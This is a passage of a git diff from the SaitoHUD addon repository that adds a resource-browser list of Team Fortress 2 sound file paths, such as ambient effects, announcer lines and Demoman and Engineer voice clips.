+weapons/physcannon/superphys_small_zap3.wav +weapons/physcannon/superphys_small_zap4.wav +weapons/pistol/pistol_empty.wav +weapons/pistol/pistol_fire2.wav +weapons/pistol/pistol_fire3.wav +weapons/pistol/pistol_reload1.wav +weapons/rpg/rocket1.wav +weapons/rpg/rocketfire1.wav +weapons/rpg/shotdown.wav +weapons/shotgun/shotgun_cock.wav +weapons/shotgun/shotgun_dbl_fire.wav +weapons/shotgun/shotgun_dbl_fire7.wav +weapons/shotgun/shotgun_empty.wav +weapons/shotgun/shotgun_fire6.wav +weapons/shotgun/shotgun_fire7.wav +weapons/shotgun/shotgun_reload1.wav +weapons/shotgun/shotgun_reload2.wav +weapons/shotgun/shotgun_reload3.wav +weapons/slam/mine_mode.wav +weapons/slam/throw.wav +weapons/smg1/npc_smg1_fire1.wav +weapons/smg1/smg1_fire1.wav +weapons/smg1/smg1_fireburst1.wav +weapons/smg1/smg1_reload.wav +weapons/smg1/switch_burst.wav +weapons/smg1/switch_single.wav +weapons/sniper/sniper_zoomin.wav +weapons/sniper/sniper_zoomout.wav +weapons/stunstick/alyx_stunner1.wav +weapons/stunstick/alyx_stunner2.wav +weapons/stunstick/spark1.wav +weapons/stunstick/spark2.wav +weapons/stunstick/spark3.wav +weapons/stunstick/stunstick_fleshhit1.wav +weapons/stunstick/stunstick_fleshhit2.wav +weapons/stunstick/stunstick_impact1.wav +weapons/stunstick/stunstick_impact2.wav +weapons/stunstick/stunstick_swing1.wav +weapons/stunstick/stunstick_swing2.wav +weapons/tripwire/ropeshoot.wav diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/tf2.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/tf2.txt new file mode 100644 index 0000000..ef0f22f --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/tf2.txt @@ -0,0 +1,3499 @@ +ambient/bird1.wav +ambient/bird2.wav +ambient/bird3.wav +ambient/chamber_open.wav +ambient/command_center.wav +ambient/computer_tape.wav +ambient/computer_tape2.wav +ambient/computer_working.wav +ambient/computer_working2.wav +ambient/cow1.wav +ambient/cow2.wav +ambient/cow3.wav +ambient/crow1.wav +ambient/crow2.wav +ambient/crow3.wav +ambient/crow4.wav +ambient/desert_indoors.wav +ambient/desert_life.wav +ambient/desert_rustle.wav +ambient/desert_wind.wav +ambient/desert_wind_high.wav +ambient/desert_wind_low.wav +ambient/dog1.wav +ambient/dog2.wav +ambient/dog3.wav +ambient/dog4.wav +ambient/drips1.wav +ambient/drips2.wav +ambient/drips3.wav +ambient/engine_idle.wav +ambient/factory_outdoor.wav +ambient/forest_bird1.wav +ambient/forest_bird2.wav +ambient/forest_bird3.wav +ambient/forest_bird4.wav +ambient/forest_bird5.wav +ambient/forest_bird6.wav +ambient/forest_bird7.wav +ambient/forest_bird8.wav +ambient/forest_bird9.wav +ambient/forest_cliff.wav +ambient/forest_high_wind.wav +ambient/forest_life.wav +ambient/hawk.wav +ambient/indoors.wav +ambient/lighthum.wav +ambient/lightsoff.wav +ambient/lightson.wav +ambient/lightwindcreaks.wav +ambient/machine_hum.wav +ambient/machine_hum2.wav +ambient/nucleus_electricity.wav +ambient/outdoors.wav +ambient/outdoors_quiet_birds.wav +ambient/outdoors_well.wav +ambient/owl1.wav +ambient/owl2.wav +ambient/owl3.wav +ambient/owl4.wav +ambient/pondlife.wav +ambient/pondwater.wav +ambient/printer.wav +ambient/railroad_bells.wav +ambient/rain.wav +ambient/sawblade.wav +ambient/sawblade_impact1.wav +ambient/sawblade_impact2.wav +ambient/shutter4.wav +ambient/shutter5.wav +ambient/shutter6.wav +ambient/siren.wav +ambient/thunder2.wav +ambient/thunder3.wav +ambient/thunder4.wav +ambient/train.wav +ambient/train_engine_idle.wav +ambient/underground.wav +ambient/walkway_move.wav +ambient/warbler.wav +ambient/waterfall.wav +ambient/waterfallinside.wav +ambient/waterfalloutside.wav +ambient/windwinter.wav +ambient/windwinterinside.wav +ambient/water/water_splash1.wav +ambient/water/water_splash2.wav +ambient/water/water_splash3.wav +commentary/tf2-comment000.wav +commentary/tf2-comment001.wav +commentary/tf2-comment002.wav +commentary/tf2-comment003.wav +commentary/tf2-comment004.wav +commentary/tf2-comment005.wav +commentary/tf2-comment006.wav +commentary/tf2-comment007.wav +commentary/tf2-comment008.wav +commentary/tf2-comment009.wav +commentary/tf2-comment010.wav +commentary/tf2-comment011.wav +commentary/tf2-comment012.wav +commentary/tf2-comment013.wav +commentary/tf2-comment014.wav +commentary/tf2-comment015.wav +commentary/tf2-comment016.wav +commentary/tf2-comment017.wav +commentary/tf2-comment018.wav +commentary/tf2-comment019.wav +commentary/tf2-comment020.wav +commentary/tf2-comment021.wav +commentary/tf2-comment022.wav +commentary/tf2-comment023.wav +commentary/tf2-comment024.wav +commentary/tf2-comment025.wav +commentary/tf2-comment026.wav +commentary/tf2-comment027.wav +commentary/tf2-comment028.wav +commentary/tf2-comment029.wav +commentary/tf2-comment030.wav +commentary/tf2-comment031.wav +commentary/tf2-comment032.wav +commentary/tf2-comment033.wav +commentary/tf2-comment034.wav +commentary/tf2-comment035.wav +commentary/tf2-comment036.wav +commentary/tf2-comment037.wav +commentary/tf2-comment038.wav +commentary/tf2-comment039.wav +commentary/tf2-comment040.wav +commentary/tf2-comment041.wav +commentary/tf2-comment042.wav +commentary/tf2-comment043.wav +commentary/tf2-comment044.wav +commentary/tf2-comment045.wav +commentary/tf2-comment046.wav +commentary/tf2-comment047.wav +commentary/tf2-comment048.wav +doors/door_metal_rusty_move1.wav +doors/generic_door_close.wav +doors/generic_door_open.wav +items/cart_explode.wav +items/cart_explode_falling.wav +items/cart_explode_trigger.wav +items/cart_rolling.wav +items/cart_rolling_back_grind1.wav +items/cart_rolling_back_grind2.wav +items/cart_rolling_back_grind3.wav +items/cart_rolling_back_grind4.wav +items/cart_rolling_start.wav +items/cart_rolling_stop.wav +items/cart_warning.wav +items/cart_warning_single.wav +items/gunpickup2.wav +items/pumpkin_drop.wav +items/pumpkin_explode1.wav +items/pumpkin_explode2.wav +items/pumpkin_explode3.wav +items/pumpkin_pickup.wav +items/regenerate.wav +items/spawn_item.wav +misc/achievement_earned.wav +misc/flame_engulf.wav +misc/freeze_cam.wav +misc/freeze_cam_snapshot.wav +misc/happy_birthday.wav +misc/hologram_malfunction.wav +misc/hologram_move.wav +misc/hologram_start.wav +misc/hologram_stop.wav +misc/hud_warning.wav +misc/null.wav +misc/rubberglove_snap.wav +misc/rubberglove_stretch.wav +misc/talk.wav +misc/taps_02.wav +misc/taps_03.wav +misc/tf_domination.wav +misc/tf_nemesis.wav +misc/tf_revenge.wav +misc/training_vid_arena_intro.mp3 +misc/training_vid_cp_badlands.mp3 +misc/training_vid_cp_dustbowl.mp3 +misc/training_vid_cp_granary.mp3 +misc/training_vid_cp_gravelpit.mp3 +misc/training_vid_cp_steel.mp3 +misc/training_vid_cp_well.mp3 +misc/training_vid_ctf_2fort.mp3 +misc/training_vid_ctf_well.mp3 +misc/training_vid_pl_badwater.mp3 +misc/training_vid_pl_goldrush.mp3 +misc/training_vid_tc_hydro.mp3 +misc/your_team_lost.mp3 +misc/your_team_lost.wav +misc/your_team_stalemate.mp3 +misc/your_team_stalemate.wav +misc/your_team_suddendeath.mp3 +misc/your_team_suddendeath.wav +misc/your_team_won.mp3 +misc/your_team_won.wav +physics/body/body_medium_impact_hard1.wav +physics/body/body_medium_impact_hard2.wav +physics/body/body_medium_impact_hard3.wav +physics/body/body_medium_impact_hard4.wav +physics/body/body_medium_impact_hard5.wav +physics/body/body_medium_impact_hard6.wav +physics/body/body_medium_impact_soft1.wav +physics/body/body_medium_impact_soft2.wav +physics/body/body_medium_impact_soft3.wav +physics/body/body_medium_impact_soft4.wav +physics/body/body_medium_impact_soft5.wav +physics/body/body_medium_impact_soft6.wav +physics/body/body_medium_impact_soft7.wav +physics/concrete/concrete_impact_flare1.wav +physics/concrete/concrete_impact_flare2.wav +physics/concrete/concrete_impact_flare3.wav +physics/concrete/concrete_impact_flare4.wav +player/crit_death1.wav +player/crit_death2.wav +player/crit_death3.wav +player/crit_death4.wav +player/crit_death5.wav +player/crit_hit.wav +player/crit_hit2.wav +player/crit_hit3.wav +player/crit_hit4.wav +player/crit_hit5.wav +player/crit_hit_mini.wav +player/crit_hit_mini2.wav +player/crit_hit_mini3.wav +player/crit_hit_mini4.wav +player/crit_hit_mini5.wav +player/crit_received1.wav +player/crit_received2.wav +player/crit_received3.wav +player/death.wav +player/drown1.wav +player/drown2.wav +player/drown3.wav +player/fire.wav +player/flame_out.wav +player/flow.wav +player/invulnerable_off.wav +player/invulnerable_on.wav +player/jingle.wav +player/medic_charged_death.wav +player/pain.wav +player/pl_fallpain.wav +player/pl_fleshbreak.wav +player/pl_impact_airblast1.wav +player/pl_impact_airblast2.wav +player/pl_impact_airblast3.wav +player/pl_impact_airblast4.wav +player/pl_impact_flare1.wav +player/pl_impact_flare2.wav +player/pl_impact_flare3.wav +player/pl_impact_stun.wav +player/pl_impact_stun_range.wav +player/pl_scout_dodge_can_crush.wav +player/pl_scout_dodge_can_drink.wav +player/pl_scout_dodge_can_drink_fast.wav +player/pl_scout_dodge_can_open.wav +player/pl_scout_dodge_can_pitch.wav +player/pl_scout_dodge_tired.wav +player/pl_scout_jump1.wav +player/pl_scout_jump2.wav +player/pl_scout_jump3.wav +player/pl_scout_jump4.wav +player/recharged.wav +player/spy_cloak.wav +player/spy_disguise.wav +player/spy_shield_break.wav +player/spy_uncloak.wav +player/spy_uncloak_feigndeath.wav +player/taunt_bell.wav +player/taunt_bottle_ah.wav +player/taunt_bottle_slosh.wav +player/taunt_chest_thump.wav +player/taunt_chest_thump_alt.wav +player/taunt_cig_case_close.wav +player/taunt_cig_flick.wav +player/taunt_clip_spin.wav +player/taunt_clothes_rustle.wav +player/taunt_clothes_swipe.wav +player/taunt_clothes_swipe2.wav +player/taunt_draw_machete.wav +player/taunt_draw_machete_sniper.wav +player/taunt_equipment_gun1.wav +player/taunt_equipment_gun2.wav +player/taunt_equipment_jingle.wav +player/taunt_equipment_jingle2.wav +player/taunt_equipment_jingle3.wav +player/taunt_equipment_jingle3short.wav +player/taunt_equipment_jingle4.wav +player/taunt_fire.wav +player/taunt_foot_spin.wav +player/taunt_foot_stomp.wav +player/taunt_foot_stomp_light.wav +player/taunt_grenade_catch.wav +player/taunt_hand_clap.wav +player/taunt_hand_clap2.wav +player/taunt_heavy_upper_cut.wav +player/taunt_heel_click.wav +player/taunt_helmet_hit.wav +player/taunt_knuckle_crack.wav +player/taunt_launcher_hit.wav +player/taunt_machete_catch.wav +player/taunt_machete_draw.wav +player/taunt_pistol_twirl.wav +player/taunt_puff.wav +player/taunt_puff_ah.wav +player/taunt_rockstar.wav +player/taunt_rockstar_end.wav +player/taunt_rubberglove_snap.wav +player/taunt_rubberglove_stretch.wav +player/taunt_shake_it.wav +player/taunt_shotgun_shoulder.wav +player/taunt_shotgun_spin.wav +player/taunt_shotgun_twirl.wav +player/taunt_tie_fix.wav +player/taunt_v01.wav +player/taunt_v02.wav +player/taunt_v03.wav +player/taunt_v04.wav +player/taunt_v05.wav +player/taunt_v06.wav +player/taunt_v07.wav +player/taunt_wrench_shoulder.wav +player/uberTaunt_v01.wav +player/uberTaunt_v02.wav +player/uberTaunt_v03.wav +player/uberTaunt_v04.wav +player/uberTaunt_v05.wav +player/uberTaunt_v06.wav +player/uberTaunt_v07.wav +player/footsteps/chainlink1.wav +player/footsteps/chainlink2.wav +player/footsteps/chainlink3.wav +player/footsteps/chainlink4.wav +player/footsteps/concrete1.wav +player/footsteps/concrete2.wav +player/footsteps/concrete3.wav +player/footsteps/concrete4.wav +player/footsteps/dirt1.wav +player/footsteps/dirt2.wav +player/footsteps/dirt3.wav +player/footsteps/dirt4.wav +player/footsteps/duct1.wav +player/footsteps/duct2.wav +player/footsteps/duct3.wav +player/footsteps/duct4.wav +player/footsteps/grass1.wav +player/footsteps/grass2.wav +player/footsteps/grass3.wav +player/footsteps/grass4.wav +player/footsteps/gravel1.wav +player/footsteps/gravel2.wav +player/footsteps/gravel3.wav +player/footsteps/gravel4.wav +player/footsteps/ice1.wav +player/footsteps/ice2.wav +player/footsteps/ice3.wav +player/footsteps/ice4.wav +player/footsteps/ladder1.wav +player/footsteps/ladder2.wav +player/footsteps/ladder3.wav +player/footsteps/ladder4.wav +player/footsteps/metal1.wav +player/footsteps/metal2.wav +player/footsteps/metal3.wav +player/footsteps/metal4.wav +player/footsteps/metalgrate1.wav +player/footsteps/metalgrate2.wav +player/footsteps/metalgrate3.wav +player/footsteps/metalgrate4.wav +player/footsteps/mud1.wav +player/footsteps/mud2.wav +player/footsteps/mud3.wav +player/footsteps/mud4.wav +player/footsteps/sand1.wav +player/footsteps/sand2.wav +player/footsteps/sand3.wav +player/footsteps/sand4.wav +player/footsteps/slosh1.wav +player/footsteps/slosh2.wav +player/footsteps/slosh3.wav +player/footsteps/slosh4.wav +player/footsteps/snow1.wav +player/footsteps/snow2.wav +player/footsteps/snow3.wav +player/footsteps/snow4.wav +player/footsteps/tile1.wav +player/footsteps/tile2.wav +player/footsteps/tile3.wav +player/footsteps/tile4.wav +player/footsteps/wade1.wav +player/footsteps/wade2.wav +player/footsteps/wade3.wav +player/footsteps/wade4.wav +player/footsteps/wet1.wav +player/footsteps/wet2.wav +player/footsteps/wet3.wav +player/footsteps/wet4.wav +player/footsteps/wood1.wav +player/footsteps/wood2.wav +player/footsteps/wood3.wav +player/footsteps/wood4.wav +player/footsteps/woodpanel1.wav +player/footsteps/woodpanel2.wav +player/footsteps/woodpanel3.wav +player/footsteps/woodpanel4.wav +pl_hoodoo/alarm_clock_alarm_3.wav +pl_hoodoo/alarm_clock_ticking_3.wav +ui/buttonclick.wav +ui/buttonclickrelease.wav +ui/buttonrollover.wav +ui/ding_a_ling.wav +ui/gamestartup1.360.wav +ui/gamestartup1.mp3 +ui/gamestartup2.360.wav +ui/gamestartup2.mp3 +ui/gamestartup3.360.wav +ui/gamestartup3.mp3 +ui/gamestartup4.mp3 +ui/gamestartup5.mp3 +ui/gamestartup6.mp3 +ui/gamestartup7.mp3 +ui/gamestartup8.mp3 +ui/gamestartup9.mp3 +ui/hint.wav +ui/item_acquired.wav +ui/medic_alert.wav +ui/projector_movie.wav +ui/projector_screen_down.wav +ui/projector_screen_up.wav +ui/projector_screen_up_long.wav +ui/scored.wav +ui/tv_static.wav +ui/tv_tune.mp3 +ui/tv_tune.wav +ui/tv_tune2.mp3 +ui/tv_tune2.wav +ui/tv_tune3.mp3 +ui/tv_tune3.wav +vo/announcer_alert.wav +vo/announcer_alert_center_control_being_captured.wav +vo/announcer_alert_center_control_being_contested.wav +vo/announcer_am_capenabled01.wav +vo/announcer_am_capenabled02.wav +vo/announcer_am_capenabled03.wav +vo/announcer_am_capenabled04.wav +vo/announcer_am_capincite01.wav +vo/announcer_am_capincite02.wav +vo/announcer_am_capincite03.wav +vo/announcer_am_capincite04.wav +vo/announcer_am_capincite05.wav +vo/announcer_am_capincite06.wav +vo/announcer_am_firstblood01.wav +vo/announcer_am_firstblood02.wav +vo/announcer_am_firstblood03.wav +vo/announcer_am_firstblood04.wav +vo/announcer_am_firstblood05.wav +vo/announcer_am_firstblood06.wav +vo/announcer_am_flawlessdefeat01.wav +vo/announcer_am_flawlessdefeat02.wav +vo/announcer_am_flawlessdefeat03.wav +vo/announcer_am_flawlessdefeat04.wav +vo/announcer_am_flawlessvictory01.wav +vo/announcer_am_flawlessvictory02.wav +vo/announcer_am_flawlessvictory03.wav +vo/announcer_am_gamestarting01.wav +vo/announcer_am_gamestarting02.wav +vo/announcer_am_gamestarting03.wav +vo/announcer_am_gamestarting04.wav +vo/announcer_am_gamestarting05.wav +vo/announcer_am_killstreak01.wav +vo/announcer_am_killstreak02.wav +vo/announcer_am_killstreak03.wav +vo/announcer_am_killstreak04.wav +vo/announcer_am_killstreak05.wav +vo/announcer_am_killstreak06.wav +vo/announcer_am_killstreak07.wav +vo/announcer_am_killstreak08.wav +vo/announcer_am_killstreak09.wav +vo/announcer_am_killstreak10.wav +vo/announcer_am_killstreak11.wav +vo/announcer_am_lastmanalive01.wav +vo/announcer_am_lastmanalive02.wav +vo/announcer_am_lastmanalive03.wav +vo/announcer_am_lastmanalive04.wav +vo/announcer_am_lastmanforfeit01.wav +vo/announcer_am_lastmanforfeit02.wav +vo/announcer_am_lastmanforfeit03.wav +vo/announcer_am_lastmanforfeit04.wav +vo/announcer_am_roundstart01.wav +vo/announcer_am_roundstart02.wav +vo/announcer_am_roundstart03.wav +vo/announcer_am_roundstart04.wav +vo/announcer_am_teamscramble01.wav +vo/announcer_am_teamscramble02.wav +vo/announcer_am_teamscramble03.wav +vo/announcer_attack_controlpoints.wav +vo/announcer_attention.wav +vo/announcer_begins_10sec.wav +vo/announcer_begins_1sec.wav +vo/announcer_begins_20sec.wav +vo/announcer_begins_2sec.wav +vo/announcer_begins_30sec.wav +vo/announcer_begins_3sec.wav +vo/announcer_begins_4sec.wav +vo/announcer_begins_5sec.wav +vo/announcer_begins_60sec.wav +vo/announcer_capture_controlpoints.wav +vo/announcer_capture_intel.wav +vo/announcer_cart_attacker_finalwarning1.wav +vo/announcer_cart_attacker_finalwarning2.wav +vo/announcer_cart_attacker_finalwarning3.wav +vo/announcer_cart_attacker_finalwarning4.wav +vo/announcer_cart_attacker_finalwarning5.wav +vo/announcer_cart_attacker_warning1.wav +vo/announcer_cart_attacker_warning2.wav +vo/announcer_cart_attacker_warning3.wav +vo/announcer_cart_attacker_warning4.wav +vo/announcer_cart_defender_finalwarning1.wav +vo/announcer_cart_defender_finalwarning2.wav +vo/announcer_cart_defender_finalwarning3.wav +vo/announcer_cart_defender_finalwarning4.wav +vo/announcer_cart_defender_finalwarning5.wav +vo/announcer_cart_defender_warning1.wav +vo/announcer_cart_defender_warning2.wav +vo/announcer_cart_defender_warning3.wav +vo/announcer_cart_defender_warning4.wav +vo/announcer_cart_defender_warning5.wav +vo/announcer_cart_defender_warning6.wav +vo/announcer_control_point_warning.wav +vo/announcer_control_point_warning2.wav +vo/announcer_control_point_warning3.wav +vo/announcer_dec_failure01.wav +vo/announcer_dec_failure02.wav +vo/announcer_dec_kill01.wav +vo/announcer_dec_kill02.wav +vo/announcer_dec_kill03.wav +vo/announcer_dec_kill04.wav +vo/announcer_dec_kill05.wav +vo/announcer_dec_kill06.wav +vo/announcer_dec_kill07.wav +vo/announcer_dec_kill08.wav +vo/announcer_dec_kill09.wav +vo/announcer_dec_kill10.wav +vo/announcer_dec_kill11.wav +vo/announcer_dec_kill12.wav +vo/announcer_dec_kill13.wav +vo/announcer_dec_kill14.wav +vo/announcer_dec_kill15.wav +vo/announcer_dec_missionbegins10s01.wav +vo/announcer_dec_missionbegins30s01.wav +vo/announcer_dec_missionbegins30s02.wav +vo/announcer_dec_missionbegins30s03.wav +vo/announcer_dec_missionbegins30s04.wav +vo/announcer_dec_missionbegins30s05.wav +vo/announcer_dec_missionbegins30s06.wav +vo/announcer_dec_missionbegins60s01.wav +vo/announcer_dec_missionbegins60s02.wav +vo/announcer_dec_missionbegins60s03.wav +vo/announcer_dec_missionbegins60s04.wav +vo/announcer_dec_missionbegins60s05.wav +vo/announcer_dec_missionbegins60s06.wav +vo/announcer_dec_success01.wav +vo/announcer_dec_success02.wav +vo/announcer_defend_controlpoints.wav +vo/announcer_defend_intel.wav +vo/announcer_do_not_fail_again.wav +vo/announcer_do_not_fail_this_time.wav +vo/announcer_ends_10sec.wav +vo/announcer_ends_1sec.wav +vo/announcer_ends_20sec.wav +vo/announcer_ends_2min.wav +vo/announcer_ends_2sec.wav +vo/announcer_ends_30sec.wav +vo/announcer_ends_3sec.wav +vo/announcer_ends_4sec.wav +vo/announcer_ends_5min.wav +vo/announcer_ends_5sec.wav +vo/announcer_ends_60sec.wav +vo/announcer_ends_6sec.wav +vo/announcer_ends_7sec.wav +vo/announcer_ends_8sec.wav +vo/announcer_ends_9sec.wav +vo/announcer_failed_prepare_sudden_death.wav +vo/announcer_failed_stalemate.wav +vo/announcer_failure.wav +vo/announcer_last_flag.wav +vo/announcer_last_flag2.wav +vo/announcer_overtime.wav +vo/announcer_overtime2.wav +vo/announcer_overtime3.wav +vo/announcer_overtime4.wav +vo/announcer_secure.wav +vo/announcer_security_alert.wav +vo/announcer_security_warning.wav +vo/announcer_stalemate.wav +vo/announcer_stop_courier.wav +vo/announcer_success.wav +vo/announcer_success_captured_final_control.wav +vo/announcer_success_captured_last_control.wav +vo/announcer_success_secured_final_control.wav +vo/announcer_success_secured_last_control.wav +vo/announcer_time_added.wav +vo/announcer_time_added_enemy.wav +vo/announcer_time_awarded.wav +vo/announcer_time_awarded_congrats.wav +vo/announcer_time_awarded_success.wav +vo/announcer_tournament_started1.wav +vo/announcer_tournament_started2.wav +vo/announcer_tournament_started3.wav +vo/announcer_tournament_started4.wav +vo/announcer_victory.wav +vo/announcer_warning.wav +vo/announcer_we_captured_center_control.wav +vo/announcer_we_captured_control.wav +vo/announcer_we_lost_center_control.wav +vo/announcer_we_lost_control.wav +vo/announcer_we_secured_control.wav +vo/announcer_we_succeeded.wav +vo/announcer_you_failed.wav +vo/announcer_you_must_defend_intel.wav +vo/announcer_you_must_not_fail_again.wav +vo/announcer_you_must_not_fail_this_time.wav +vo/burp02.wav +vo/burp03.wav +vo/burp04.wav +vo/burp05.wav +vo/burp06.wav +vo/burp07.wav +vo/demoman_activatecharge01.wav +vo/demoman_activatecharge02.wav +vo/demoman_activatecharge03.wav +vo/demoman_autocappedcontrolpoint01.wav +vo/demoman_autocappedcontrolpoint02.wav +vo/demoman_autocappedcontrolpoint03.wav +vo/demoman_autocappedintelligence01.wav +vo/demoman_autocappedintelligence02.wav +vo/demoman_autocappedintelligence03.wav +vo/demoman_autodejectedtie01.wav +vo/demoman_autodejectedtie02.wav +vo/demoman_autodejectedtie03.wav +vo/demoman_autodejectedtie04.wav +vo/demoman_autoonfire01.wav +vo/demoman_autoonfire02.wav +vo/demoman_autoonfire03.wav +vo/demoman_battlecry01.wav +vo/demoman_battlecry02.wav +vo/demoman_battlecry03.wav +vo/demoman_battlecry04.wav +vo/demoman_battlecry05.wav +vo/demoman_battlecry06.wav +vo/demoman_battlecry07.wav +vo/demoman_cheers01.wav +vo/demoman_cheers02.wav +vo/demoman_cheers03.wav +vo/demoman_cheers04.wav +vo/demoman_cheers05.wav +vo/demoman_cheers06.wav +vo/demoman_cheers07.wav +vo/demoman_cheers08.wav +vo/demoman_cloakedspy01.wav +vo/demoman_cloakedspy02.wav +vo/demoman_cloakedspy03.wav +vo/demoman_cloakedspyidentify01.wav +vo/demoman_cloakedspyidentify02.wav +vo/demoman_cloakedspyidentify03.wav +vo/demoman_cloakedspyidentify04.wav +vo/demoman_cloakedspyidentify05.wav +vo/demoman_cloakedspyidentify06.wav +vo/demoman_cloakedspyidentify07.wav +vo/demoman_cloakedspyidentify08.wav +vo/demoman_cloakedspyidentify09.wav +vo/demoman_dominationdemoman01.wav +vo/demoman_dominationdemoman02.wav +vo/demoman_dominationdemoman03.wav +vo/demoman_dominationdemoman04.wav +vo/demoman_dominationengineer01.wav +vo/demoman_dominationengineer02.wav +vo/demoman_dominationengineer03.wav +vo/demoman_dominationengineer04.wav +vo/demoman_dominationengineer05.wav +vo/demoman_dominationengineer06.wav +vo/demoman_dominationheavy01.wav +vo/demoman_dominationheavy02.wav +vo/demoman_dominationheavy03.wav +vo/demoman_dominationheavy04.wav +vo/demoman_dominationheavy05.wav +vo/demoman_dominationmedic01.wav +vo/demoman_dominationmedic02.wav +vo/demoman_dominationmedic03.wav +vo/demoman_dominationmedic04.wav +vo/demoman_dominationpyro01.wav +vo/demoman_dominationpyro02.wav +vo/demoman_dominationpyro03.wav +vo/demoman_dominationpyro04.wav +vo/demoman_dominationscout01.wav +vo/demoman_dominationscout02.wav +vo/demoman_dominationscout03.wav +vo/demoman_dominationscout04.wav +vo/demoman_dominationscout05.wav +vo/demoman_dominationscout06.wav +vo/demoman_dominationscout07.wav +vo/demoman_dominationscout08.wav +vo/demoman_dominationsniper01.wav +vo/demoman_dominationsniper02.wav +vo/demoman_dominationsniper03.wav +vo/demoman_dominationsniper04.wav +vo/demoman_dominationsoldier01.wav +vo/demoman_dominationsoldier02.wav +vo/demoman_dominationsoldier03.wav +vo/demoman_dominationsoldier04.wav +vo/demoman_dominationsoldier05.wav +vo/demoman_dominationspy01.wav +vo/demoman_dominationspy02.wav +vo/demoman_dominationspy03.wav +vo/demoman_eyelandertaunt01.wav +vo/demoman_eyelandertaunt02.wav +vo/demoman_gibberish01.wav +vo/demoman_gibberish02.wav +vo/demoman_gibberish03.wav +vo/demoman_gibberish04.wav +vo/demoman_gibberish05.wav +vo/demoman_gibberish06.wav +vo/demoman_gibberish07.wav +vo/demoman_gibberish08.wav +vo/demoman_gibberish09.wav +vo/demoman_gibberish10.wav +vo/demoman_gibberish11.wav +vo/demoman_gibberish12.wav +vo/demoman_gibberish13.wav +vo/demoman_go01.wav +vo/demoman_go02.wav +vo/demoman_go03.wav +vo/demoman_goodjob01.wav +vo/demoman_goodjob02.wav +vo/demoman_headleft01.wav +vo/demoman_headleft02.wav +vo/demoman_headleft03.wav +vo/demoman_headright01.wav +vo/demoman_headright02.wav +vo/demoman_headright03.wav +vo/demoman_helpme01.wav +vo/demoman_helpme02.wav +vo/demoman_helpme03.wav +vo/demoman_helpmecapture01.wav +vo/demoman_helpmecapture02.wav +vo/demoman_helpmecapture03.wav +vo/demoman_helpmedefend01.wav +vo/demoman_helpmedefend02.wav +vo/demoman_helpmedefend03.wav +vo/demoman_incoming01.wav +vo/demoman_incoming02.wav +vo/demoman_incoming03.wav +vo/demoman_jeers01.wav +vo/demoman_jeers02.wav +vo/demoman_jeers03.wav +vo/demoman_jeers04.wav +vo/demoman_jeers05.wav +vo/demoman_jeers06.wav +vo/demoman_jeers07.wav +vo/demoman_jeers08.wav +vo/demoman_jeers09.wav +vo/demoman_jeers10.wav +vo/demoman_jeers11.wav +vo/demoman_laughevil01.wav +vo/demoman_laughevil02.wav +vo/demoman_laughevil03.wav +vo/demoman_laughevil04.wav +vo/demoman_laughevil05.wav +vo/demoman_laughhappy01.wav +vo/demoman_laughhappy02.wav +vo/demoman_laughlong01.wav +vo/demoman_laughlong02.wav +vo/demoman_laughshort01.wav +vo/demoman_laughshort02.wav +vo/demoman_laughshort03.wav +vo/demoman_laughshort04.wav +vo/demoman_laughshort05.wav +vo/demoman_laughshort06.wav +vo/demoman_medic01.wav +vo/demoman_medic02.wav +vo/demoman_medic03.wav +vo/demoman_moveup01.wav +vo/demoman_moveup02.wav +vo/demoman_moveup03.wav +vo/demoman_needdispenser01.wav +vo/demoman_needsentry01.wav +vo/demoman_needteleporter01.wav +vo/demoman_negativevocalization01.wav +vo/demoman_negativevocalization02.wav +vo/demoman_negativevocalization03.wav +vo/demoman_negativevocalization04.wav +vo/demoman_negativevocalization05.wav +vo/demoman_negativevocalization06.wav +vo/demoman_niceshot01.wav +vo/demoman_niceshot02.wav +vo/demoman_niceshot03.wav +vo/demoman_no01.wav +vo/demoman_no02.wav +vo/demoman_no03.wav +vo/demoman_paincrticialdeath01.wav +vo/demoman_paincrticialdeath02.wav +vo/demoman_paincrticialdeath03.wav +vo/demoman_paincrticialdeath04.wav +vo/demoman_paincrticialdeath05.wav +vo/demoman_painsevere01.wav +vo/demoman_painsevere02.wav +vo/demoman_painsevere03.wav +vo/demoman_painsevere04.wav +vo/demoman_painsharp01.wav +vo/demoman_painsharp02.wav +vo/demoman_painsharp03.wav +vo/demoman_painsharp04.wav +vo/demoman_painsharp05.wav +vo/demoman_painsharp06.wav +vo/demoman_painsharp07.wav +vo/demoman_positivevocalization01.wav +vo/demoman_positivevocalization02.wav +vo/demoman_positivevocalization03.wav +vo/demoman_positivevocalization04.wav +vo/demoman_positivevocalization05.wav +vo/demoman_sentryahead01.wav +vo/demoman_sentryahead02.wav +vo/demoman_sentryahead03.wav +vo/demoman_specialcompleted-assistedkill01.wav +vo/demoman_specialcompleted-assistedkill02.wav +vo/demoman_specialcompleted01.wav +vo/demoman_specialcompleted02.wav +vo/demoman_specialcompleted03.wav +vo/demoman_specialcompleted04.wav +vo/demoman_specialcompleted05.wav +vo/demoman_specialcompleted06.wav +vo/demoman_specialcompleted07.wav +vo/demoman_specialcompleted08.wav +vo/demoman_specialcompleted09.wav +vo/demoman_specialcompleted10.wav +vo/demoman_specialcompleted11.wav +vo/demoman_specialcompleted12.wav +vo/demoman_standonthepoint01.wav +vo/demoman_standonthepoint02.wav +vo/demoman_thanks01.wav +vo/demoman_thanks02.wav +vo/demoman_thanksfortheheal01.wav +vo/demoman_thanksfortheheal02.wav +vo/demoman_thanksfortheheal03.wav +vo/demoman_thanksfortheteleporter01.wav +vo/demoman_thanksfortheteleporter02.wav +vo/demoman_yes01.wav +vo/demoman_yes02.wav +vo/demoman_yes03.wav +vo/engineer_activatecharge01.wav +vo/engineer_activatecharge02.wav +vo/engineer_activatecharge03.wav +vo/engineer_autoattackedbyspy01.wav +vo/engineer_autoattackedbyspy02.wav +vo/engineer_autoattackedbyspy03.wav +vo/engineer_autobuildingdispenser01.wav +vo/engineer_autobuildingdispenser02.wav +vo/engineer_autobuildingsentry01.wav +vo/engineer_autobuildingsentry02.wav +vo/engineer_autobuildingteleporter01.wav +vo/engineer_autobuildingteleporter02.wav +vo/engineer_autocappedcontrolpoint01.wav +vo/engineer_autocappedcontrolpoint02.wav +vo/engineer_autocappedcontrolpoint03.wav +vo/engineer_autocappedintelligence01.wav +vo/engineer_autocappedintelligence02.wav 